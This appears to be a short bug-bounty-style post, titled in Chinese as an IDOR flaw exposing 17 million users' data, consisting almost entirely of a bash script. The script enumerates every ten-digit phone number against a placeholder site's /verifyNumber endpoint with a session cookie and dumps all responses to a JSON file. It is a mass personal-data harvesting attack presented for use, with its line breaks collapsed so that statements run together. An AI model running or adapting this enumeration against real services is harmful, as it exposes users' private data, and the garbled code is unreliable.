暴露1700万用户数据的IDOR漏洞

#!/bin/bash
endpoint="https://xyz.com/verifyNumber"cookie="X"user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"referer="https://xyz.com/"content_length="37"data="sbu=PostPaid%PrePaid"
# Create an empty array for responsesresponses=()
for ((num=1111111111; num<=9999999999; num++))do    number="number=$num"
    # Create temporary request file    request_file=$(mktemp)    cat << EOF > "$request_file"GET /verifyNumber HTTP/2Host: xyz.comCookie: $cookieUser-Agent: $user_agentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: $refererUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-siteSec-Fetch-User: ?1Te: trailersContent-Length: $content_length
$number&$dataEOF
    # Send the request using curl and append the response to the array    response=$(curl -X GET -H "Content-Type: application/x-www-form-urlencoded" --http2 --data-binary "@$request_file" "$endpoint")    responses+=("$response")
    # Cleanup    rm "$request_file"done
# Save the responses array as JSONecho "[" > resp.jsonfor ((i=0; i<${#responses[@]}; i++))do    echo "${responses[i]}" >> resp.json    if [[ $i -lt $(( ${#responses[@]} - 1 )) ]]; then        echo "," >> resp.json    fidoneecho "]" >> resp.json